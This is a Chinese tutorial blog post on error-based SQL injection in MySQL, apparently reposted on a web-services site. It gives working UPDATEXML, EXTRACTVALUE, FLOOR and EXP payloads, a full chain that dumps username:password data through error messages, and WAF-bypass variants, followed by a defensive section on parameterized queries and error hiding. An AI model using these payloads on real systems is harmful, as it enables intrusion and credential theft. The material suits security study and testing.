☰
报错型SQL注入原理与实战:从错误信息到数据泄露的攻防详解
2026/9/25 5:15:20 网站建设 项目流程

前阵子给一个内部系统的接口做安全检查,我在查询参数后面加了个单引号,页面没崩,倒是一行带着MySQL版本号和SQL语句片段的报错信息直接打在了前端。后台日志里紧接着出现了好几条“XPATH syntax error”的记录。这种场景做安全测试的朋友应该不陌生:报错型注入,本质上是数据库把不该给用户看的内容,通过错误信息递到了页面上。这篇文章就专门拆一拆报错型注入——它是什么原理、怎么判断能用、核心Payload怎么写、实战里会踩哪些坑,最后再聊聊怎么从开发侧把它彻底堵住。

内容主要面向已经了解基本SQL注入(比如联合查询、布尔盲注)但还没系统整理过报错注入的读者。我会把自己在授权测试和本地靶场环境里反复验证过的写法、经验和翻车记录都放进来,照着一遍跑通即可,原理也会讲到能让你彻底理解的深度。

1. 报错型注入的底层逻辑:从“页面报错”到“数据出口”的转换

1.1 数据库为什么要报错,应用又为什么把错误摆出来

SQL注入的本质是:用户输入被拼进了SQL语句,改变了查询逻辑。联合查询(UNION SELECT)的思路是“追加一条查询,把结果渲染到页面”;报错型注入的思路完全不同——它不追求把数据直接显示在查询结果列表里,而是让数据库在执行过程中抛出异常,并把我们想要的数据带进异常消息中。

在MySQL的默认行为里,当一条SQL语句语法错误、函数参数错误或者发生主键冲突时,数据库会返回一条错误消息。比如:

SELECT UPDATEXML(1, '!@#$%', 1);

MySQL执行到UPDATEXML时会去校验第二个参数的XPath表达式格式,发现它不是合法XPath,就会抛出:

XPATH syntax error: '!@#$%'

数据库报错本身不是问题,问题是上层应用在开发阶段往往开启了错误回显(display_errors)或者没有做异常捕获,底层SQL的报错信息直接渲染到了HTML页面里。有的团队连生产环境都开着debug开关,导致任何SQL错误都能被访问者看到。

于是,一个经典的组合拳就出现了:我们构造一条语义上能执行、但故意包含报错函数且参数里嵌了子查询的SQL,让数据库报错的同时把子查询的结果拼进错误消息。页面虽然不会返回正常查询结果,但那串错误消息本身就是我们要的数据。

1.2 报错型注入在整个注入体系中的位置

平时讨论SQL注入,经常按数据获取方式分成几种类型:

注入类型核心思路前提条件典型场景
联合查询注入用UNION拼出新的结果集页面有明确回显位置,且列数可控列表页、详情页
布尔盲注条件真/假导致页面内容不同页面至少有一个可区分的特征搜索框、登录判断
时间盲注用SLEEP/重查询制造时间差无法区分任何内容特征全无回显的极端场景
报错型注入让数据库把数据写进错误信息页面有错误回显页面会抛SQL错误但无正常数据回显

报错型注入最大的优势是拿到结果的速度快——完全不需要一位一位去猜(布尔盲注)或者等待时间延迟(时间盲注),一条Payload就能把当前数据库名、表名、列名甚至数据条直接读出来。

使用条件也很苛刻:应用必须把SQL错误原样展示出来。如果页面有正常回显,首选通常是联合查询;如果页面有报错回显但没有查询结果回显,报错型注入就立刻升级为首选方案。在我实际测试中,这类场景多出现在接口返回JSON错误码但把SQL错误塞进message字段、搜索功能做了结果隐藏但没关错误提示、或者登录接口把数据库异常直接暴露给前端等情况下。

1.3 报错型注入的成立条件

我梳理了一下,报错型注入成立需要同时满足三个条件:

  1. 存在可控的SQL拼接点。参数被拼接到SQL中的某个位置(WHERE、ORDER BY、UPDATE的SET字段、INSERT的VALUES等),且没有走参数化查询。
  2. 页面/接口会回显SQL错误。这是报错注入的命门,没有错误回显,后面的函数构造全部失去意义。
  3. 当前数据库账号有权限访问目标数据。比如获取其他库的表名需要SHOW权限;读information_schema需要相应库的权限。

另外要注意,不同数据库的报错思路差异巨大。MySQL有UPDATEXML、EXTRACTVALUE、FLOOR报错;SQL Server常见的是利用convert(int, @@version)类型转换报错;Oracle则多走CTXSYS.DRITHSX.SN、XMLType()等报错路径。这篇文章以使用最广的MySQL为主展开,后面提到的函数全部是在MySQL 5.x和8.x环境验证过的。

2. 误用与判断:测试注入点时的特征识别

2.1 单引号试探与错误特征提取

拿到一个参数,第一件事永远是破坏原有SQL结构,观察反应。最简单的测试是加单引号:

?id=1'

如果页面返回类似这样的错误,说明参数大概率是字符型且被单引号包裹,而且数据库把错误吐给了前端:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

还有一种情况是参数是数字型,直接写?id=1 and 1=2,页面可能只剩表头;再写?id=1 and 1=1,内容恢复。这说明数字型注入存在但不一定有报错回显。报错注入测试的关键是:先确定页面是否显示SQL错误,再决定下一步用哪种函数。

我通常会在加单引号之后,顺手试一下:

?id=1' and extractvalue(1, concat(0x7e, version())) --+

页面如果出现XPATH syntax error: '~8.0.36',那么这个点的报错注入链路已经通了。0x7e是波浪号~的十六进制,用来给报错内容加一个显眼的边界标记,避免报错信息里多段内容粘连在一起影响阅读。

2.2 数据库类型识别

错误信息会直接暴露数据库类型,这也是为什么报错注入里“报错信息”本身就有情报价值:

  • MySQL:错误文本形如You have an error in your SQL syntax,或者XPATH syntax error,报错带行号;函数风格以version()、database()、@@version为特征。
  • SQL Server:常见Unclosed quotation mark after the character string这类带中文或英文描述的错误,语句结构用@@version、db_name()。
  • Oracle:错误码类似ORA-01756,报错信息里有引号未闭合的提示。

有一次我在测试一个管理后台的导出接口时,页面没有回显正常数据,但报错信息明确写了ORA-00933,说明是Oracle。Oracle的报错注入思路和MySQL完全不同,需要走XMLType那段路。所以看到错误特征先别急着套MySQL的Payload,先确认数据库厂商,再选择函数。

2.3 可用报错函数的探测

MySQL环境下,页面只要有报错回显,就可以逐个探测这几个函数:

?id=1' and updatexml(1, concat(0x7e, version()), 1) --+ ?id=1' and extractvalue(1, concat(0x7e, version())) --+ ?id=1' and (select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))) --+

分别观察响应:

  • 出现XPATH syntax error: '~8.0.36',说明UPDATEXML/EXTRACTVALUE可用。
  • 出现Duplicate entry '8.0.36' for key 'group_key',说明FLOOR报错可用。
  • 完全没反应,可能是函数被WAF拦截、参数被过滤,或者子查询执行被限制。

这里有一个很容易忽略的排查点:有的环境不是函数不可用,而是当前数据库连接用户没有读取目标表的权限。比如子查询里写的是select table_name from information_schema.tables,当前账号如果无权访问系统库,整个子查询会直接报错,叠加到报错函数上,页面可能显示权限异常而不是你要的XPATH报错。

3. 四大主流报错手段的原理与Payload拆解

3.1 updatexml:最稳的XPATH错误注入

UPDATEXML是MySQL提供的XML处理函数,完整语法:

UPDATEXML(xml_doc, xpath_expr, new_xml)

作用是对XML文档的某段路径做替换。比如UPDATEXML('<a>1</a>', '/a', '<b>2</b>')会把<a>节点内容替换成2。关键在于第二个参数必须是合法XPath路径,如果传入非法XPath,MySQL会抛出XPATH syntax error,并且把传入的字符串原样带进错误消息。

于是我们可以把子查询塞进第二个参数:

AND UPDATEXML(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e), 1)

执行后的报错信息长这样:

XPATH syntax error: '~test_db~'

test_db就是当前数据库名。这里的思路非常清晰:UPDATEXML的第一个参数随便给个数字或字符串即可,它根本不会走到真正的XML解析那一步;我们真正关心的是第二个参数里CONCAT构造出的那个“非法XPath”——子查询的结果被拼接进去,于是数据库在报XPath格式错误时,顺带把子查询结果也吐了出来。

Payload拼到URL里长这样:

?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e), 1) --+

3.2 extractvalue:仅有的两个参数也能讲故事

EXTRACTVALUE语法:

EXTRACTVALUE(xml_doc, xpath_expr)

它只有两个参数,作用和UPDATEXML类似,都是解析XML文档中某个XPath路径的值。当第二个参数XPath格式非法时,报错机制和UPDATEXML一模一样:

AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e))

报错:

XPATH syntax error: '~test_db~'

EXTRACTVALUE和UPDATEXML的区别主要是参数数量,函数名不同。我在实际测试里的经验是:两家WAF对这两个函数的过滤可能不一致。遇到过UPDATEXML被拦但EXTRACTVALUE完全放行的情况,所以当测试UPDATEXML没有反应时,换成EXTRACTVALUE试一下,往往有意外收获。

3.3 group by + floor(rand(0)*2):老版本MySQL的经典报错

这是报错型注入里技术含量最高、也最不稳定的一种方式。Payload典型写法:

AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES GROUP BY CONCAT(DATABASE(), FLOOR(RAND(0)*2)))

报错信息通常是:

Duplicate entry 'test_db1' for key 'group_key'

test_db1里的test_db是数据库名,1是FLOOR(RAND(0)*2)算出来的结果。原理一句话概括:GROUP BY的分组键里包含RAND()时,MySQL会多次计算这个随机值,同一个键在分组过程中先后算出不同结果,导致向临时表插入时出现主键冲突,于是报出Duplicate entry错误。

为什么用RAND(0)而不是RAND()?因为RAND(0)使用固定种子0,生成的随机序列是确定的,这样每次执行报错内容才稳定可复现。如果用RAND(),序列每次都不一样,这次报错内容里可能是1,下次可能就不是报错了。

这个方法的局限也很多:MySQL 5.1到5.7之间比较稳定,8.0版本在某些配置下效果变差;而且它要求查询的结果集至少有一条记录,所以Payload里经常用INFORMATION_SCHEMA.TABLES这种一定有多行数据的系统表来驱动分组。相比UPDATEXML直接、干净的报错,FLOOR报错属于“老派但偶尔救命”的手段。

3.4 exp、bigint溢出等冷门报错:应急时才有价值

除了上面三个常见函数,MySQL还有几个利用数值溢出报错的手段:

AND EXP(~(SELECT * FROM (SELECT USER()) a))

EXP()是指数函数,~是按位取反。当SELECT USER()的结果被取反成一个极大的整数值,再传给EXP求指数时,数值溢出触发DOUBLE value is out of range错误,报错文本里会带上USER()结果。

还有bigint溢出:

AND !(SELECT * FROM (SELECT USER()) x) - ~0

这类Payload看起来很炫,但实际利用价值有限:不同MySQL版本对数值溢出的处理策略不一样,很多新版本已经不会稳定报错了。我一般只在UPDATEXML、EXTRACTVALUE、FLOOR全部被WAF过滤时,才会搭环境去试试EXP这些冷门函数。不建议新手把时间花在这上面,优先级太低,理解其原理即可。

4. 完整的报错型注入操作链:从库名到数据

4.1 确认注入点与可控参数

假设我们拿到了一个URL:

http://target.com/item.php?id=1

第一步:加单引号看报错。如果页面返回了SQL错误文本,说明存在报错回显。第二步:测试闭合方式。

  • ?id=1'报错 => 字符型,单引号闭合。
  • ?id=1' --+页面恢复正常 => 确认单引号闭合且注释符生效。
  • ?id=1 and 1=1明显区别 => 数字型,无需闭合。

常用的注释写法有--+、-- -、#,目的是吃掉闭合我们构造的单引号后面的原始SQL语句内容。在URL里,#要写成%23。实际测试时我习惯用--+,因为Burp和浏览器解析都方便。

4.2 报出当前数据库名

闭合确认后,先拿数据库名验证链条:

?id=1' AND UPDATEXML(1, CONCAT(0x7e, DATABASE(), 0x7e), 1) --+

页面返回:

XPATH syntax error: '~test_db~'

到这一步,报错注入链路已完全打通。接下来的思路和联合查询完全一样:库名 -> 表名 -> 列名 -> 数据。

4.3 借助information_schema报出表名

读取当前库所有表名,一般写法:

?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1), 0x7e), 1) --+

注意MySQL 8.0之后,INFORMATION_SCHEMA.TABLES的访问限制更严格,部分账号可能读不到表名。如果这条报错返回空或者权限错误,可以换用:

SELECT TABLE_NAME FROM SYS.SCHEMA_TABLE_STATS WHERE SCHEMA_NAME=DATABASE() LIMIT 0,1

或者读取mysql库的INNODB_TABLE_STATS,不过这需要账号有对应权限,要结合实际情况调整。

4.4 报出目标表的列名与数据

假设已经拿到表名user,继续报列名:

?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='user' LIMIT 0,1), 0x7e), 1) --+

拿到列名username和password后,报数据:

?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT CONCAT(username, 0x3a, PASSWORD) FROM user LIMIT 0,1), 0x7e), 1) --+

0x3a是冒号:的十六进制,用于在报错信息里把两个字段分隔开,方便肉眼拆数据。如果user表有多行,用LIMIT逐条读,或者直接GROUP_CONCAT一次性拼接:

?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(username, 0x3a, PASSWORD) FROM user), 0x7e), 1) --+

但注意GROUP_CONCAT把多条记录拼成一串会非常长,而UPDATEXML报错内容有长度限制,这就引出下一节的分段读取。

4.5 解决报错信息截断:substr分段读取

UPDATEXML和EXTRACTVALUE的报错输出不是无限的。以MySQL 5.7为例,报错信息通常只能显示前32位左右,超过部分会被截断。所以当数据串较长时,要配合SUBSTR函数分段取:

?id=1' AND UPDATEXML(1, CONCAT(0x7e, SUBSTR((SELECT GROUP_CONCAT(username, 0x3a, PASSWORD) FROM user), 1, 30), 0x7e), 1) --+

这一段读1到30位,接着读31到60位:

?id=1' AND UPDATEXML(1, CONCAT(0x7e, SUBSTR((SELECT GROUP_CONCAT(username, 0x3a, PASSWORD) FROM user), 31, 30), 0x7e), 1) --+

把偏移量手工调大即可逐段读完。实操中我一般把SUBSTR放在子查询外面、CONCAT里面,这样每段报错内容都整整齐齐,不会被CONCAT边界干扰。

5. 实战里的绕过方案:过滤、截断与黑名单

5.1 报错长度限制的处理

报错长度问题前面提到很多,实战中再补一个细节:EXTRACTVALUE的截断和UPDATEXML不尽相同,有的版本EXTRACTVALUE能显示更长一点。遇到报错总是缺尾巴的数据,我会在UPDATEXML和EXTRACTVALUE之间切换试试,谁吐得多用谁。

另外,可以把待读取内容先经过HEX()编码再读出,利用十六进制串更短的特点在一次报错里多读原始信息,然后再转回来:

AND UPDATEXML(1, CONCAT(0x7e, SUBSTR(HEX((SELECT DATABASE())), 1, 30), 0x7e), 1)

DATABASE()返回test_db共7个字符,HEX后变成746573745f6462共14个字符。用HEX编码之后的串长度翻倍,同样的报错截断条件下,能通过单次报错传递的原始字符数会减少,所以HEX方案适合数据量不大、只是怕特殊字符干扰报错解析的场景,不适合想“多读一点”的目的。

真正想多读,得靠分段。段间距设为30字符左右是最稳的,因为不同MySQL版本截断位数不完全相同,设太长容易丢数据,设太短又费请求。

5.2 关键字与敏感函数被过滤时的替换思路

WAF或代码层过滤严重的情况下,有几个常见替换思路:

空格被过滤:用注释符/**/代替空格。SELECT 1 FROM dual可以写成SELECT/**/1/**/FROM/**/dual。有的WAF只对“空格式关键字”敏感,注释代替之后的语句反而能过。

等号被过滤:用LIKE代替。TABLE_SCHEMA=DATABASE()改写为TABLE_SCHEMA LIKE DATABASE()。

逗号被过滤:UPDATEXML的第二个参数是函数调用,天然要逗号,去掉很困难,所以遇到逗号过滤时,优先考虑FLOOR报错,或者改用JOIN写法。LIMIT的逗号可以替换为OFFSET:LIMIT 0,1写成LIMIT 1 OFFSET 0。

函数名被过滤:UPDATEXML和EXTRACTVALUE被禁时,试FLOOR报错、EXP报错,或者利用大小写混合、内联注释/*!50000UPDATEXML*/来绕过正则。要注意MySQL函数本身不区分大小写,绕过的是WAF文本规则,不是数据库规则。

0x7e受限:只是边界标记,可以直接去掉,只靠CONCAT拼接子查询结果,报错文本依然会出来,只是看起来没那么整齐。

5.3 参数拼接场景下的常见变体

不是所有注入点都在URL参数里,POST表单、JSON字段、请求头都可能成为拼接点。之前测过一个接口,参数直接放在POST Body的JSON结构里,值拼进了UPDATE语句的SET字段。报错型注入同样适用,只是闭合方式变了——可能是双引号、括号、甚至是LIKE语句的模糊匹配位置。

POST场景下的Payload闭合,通常要先看原始SQL大概长什么样,最常见的两种:

-- 猜测:INSERT INTO user (name) VALUES ('参数') ' AND UPDATEXML(1, CONCAT(0x7e, DATABASE(), 0x7e), 1) AND '1'='1 -- 猜测:UPDATE user SET name = '参数' ', name='x' WHERE id=1 AND UPDATEXML(1, CONCAT(0x7e, DATABASE(), 0x7e), 1) --+

这种场景下报错信息同样会在页面上吐出来,识别的思路和GET参数完全一致,差别主要在闭合字符的猜测和构造。

6. 排错记:为什么你的Payload报不出数据

6.1 页面500但没有任何错误明细

这是最常见的情况:Payload发过去,页面直接返回500或者空白,没有任何SQL错误文本。原因通常是应用层把错误信息吞掉了,只留下一个状态码。此时报错型注入直接失效,应该立刻转向布尔盲注或时间盲注的思路,别在这里死磕函数。

另一种情况是WAF把Payload拦下并返回了拦截页,要根据响应内容区分。如果响应里有类似“参数不合法”“拦截”字样,说明是WAF在做黑名单匹配,转去研究绕过,而不是继续换报错函数。

6.2 updatexml报错内容为空或NULL

Payload能触发XPATH语法错误,但报错信息里只有波浪号,子查询结果没出来。我踩过的坑有三个方向:

  1. 子查询返回了NULL本身,CONCAT(0x7e, NULL, 0x7e)的结果直接变成NULL,UPDATEXML报错时只显示NULL。比如SELECT PASSWORD FROM user WHERE username='不存在'就很可能返回空。解决方法是先确认子查询能查到数据,或者用IFNULL()包一层。
  2. 子查询包含逗号,改变了CONCAT的参数解析逻辑,导致整个表达式语法错误,页面报的是SQL语法错误而不是XPATH错误。
  3. 当前连接账号没有访问系统库的权限,INFORMATION_SCHEMA.COLUMNS查询被拒绝。这种权限问题在MySQL 8.0里更常见。

6.3 floor报错的概率性失效

FLOOR报错的稳定性一直是个老大难。同一个环境,这次能报出数据,下次可能只报Duplicate entry '1',而没有库名。原因在于RAND(0)虽然序列确定,但分组过程中临时表的插入顺序受优化器影响,不能保证每次都命中同一个键的冲突点。

我的处理办法是:固定使用RAND(0),不要换种子;如果连续三次都失败,先换成UPDATEXML看整个注入链路是否还通,因为如果UPDATEXML都报错,说明环境本身发生了变化,而不是FLOOR写法问题。

6.4 information_schema访问受限

MySQL 8.0默认情况下,普通账号对information_schema的部分视图访问受到严格限制。现象就是UPDATEXML能报出数据库名,但一旦子查询里出现INFORMATION_SCHEMA.TABLES或者INFORMATION_SCHEMA.COLUMNS,报错信息就被权限错误替代。

这时候可以尝试:

-- 从sys库取表统计信息,通常权限限制更宽松 SELECT TABLE_NAME FROM SYS.SCHEMA_TABLE_STATS WHERE SCHEMA_NAME = DATABASE(); -- 从mysql.innodb_table_stats取表 SELECT TABLE_NAME FROM MYSQL.INNODB_TABLE_STATS WHERE DATABASE_NAME = DATABASE();

注意这些写法依赖具体版本和配置,不一定在所有环境生效。如果都不行,只能回到字典猜表名,或者用其他数据通道。

6.5 被预编译和参数化查询拦截的表现

如果代码层使用了PDO预处理或参数化查询,那么参数永远只是“数据”,不可能拼接成SQL结构。此时你加单引号、构造报错函数,页面都不该出现任何SQL相关报错——所有输入都被安全地塞进占位符。

这种场景下,报错型注入没有任何存在空间,也不该硬去找“绕过参数化”的办法。真正该做的是检查其他没走预处理的接口,以及把开发框架的全局SQL日志打开,看哪些地方还存在字符串拼接。

7. 防御视角:让报错型注入彻底失效

7.1 错误信息只进日志,不上页面

报错型注入成立的前提是错误可见。所以最便宜、见效最快的防御就是:在任何环境下都不要把数据库错误原样输出到用户界面。生产环境关闭display_errors,框架层面统一捕获异常,将详细SQL错误写入服务端日志,给用户返回一个模糊的“服务暂时不可用”即可。

很多老系统把DEBUG=True一路带到生产环境,这是报错注入最肥沃的土壤。做安全整改时,先全站扫一遍错误回显开关,等于把报错注入的窗户先关上一半。

7.2 参数化查询一劳永逸

终极解法还是参数化查询。无论是PDO预处理语句、MyBatis的#{}占位符,还是Python的cursor.execute(sql, params),只要参数走占位符而不是字符串拼接,SQL注入的土壤就不存在,报错注入自然失效。

要注意的是,MyBatis里${}是字符串拼接,#{}才是占位符。代码审计时我专门盯${},一旦出现在SQL映射文件里,不管开发者本意是不是拼动态排序,先记一个注入风险等级。ORDER BY、LIKE、IN语句是字符串拼接重灾区。

7.3 权限收口:数据库账号不该是全身账号

即使SQL注入发生了,数据库账号的权限决定了攻击者能读到什么。最小权限原则落到数据库层面就是:应用连接账号只授予当前业务库的增删改查权限,不给SHOW DATABASES,不给跨库SELECT,更不能用root或高权限账号跑应用。

报错型注入的子查询经常依赖INFORMATION_SCHEMA和跨库查询,权限收口之后,攻击者即使拼出了UPDATEXML,子查询也会因为权限不足而失效。这个防线不能少,它是最后一道保险。

7.4 WAF函数级拦截的补充价值

WAF规则可以针对报错函数的文本特征做拦截:updatexml、extractvalue、floor(rand、group by concat都是常见的拦截点。同时还可以在边缘节点做“SQL错误关键词返回码”的识别,当响应正文里出现XPATH syntax error、SQL syntax等特征时直接拦截页面响应。

但WAF只是缓解手段,存在绕过空间,不能替代参数化查询和错误信息隐藏。防御上我一直坚持“代码层为主,WAF为辅”的原则。

最后再分享一个我平时测试的小习惯:报错注入我永远先试extractvalue,因为它参数比updatexml少一个,写起来干净,报错稳定性也不差;如果被拦再试updatexml。开始读数据时先读database(),确认链路通了,再上substr分段去读表清单,像抽面巾纸一样一段一段往外拽。这套流程我用了很久,翻车率很低。做开发的读者如果看到这里,建议顺手确认一下自家项目的数据库错误回显开关和SQL日志配置,很多时候安全问题不需要多复杂的加固,先把错误信息藏起来,再把手写SQL改成占位符,报错型注入就离你的系统远了一大半。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询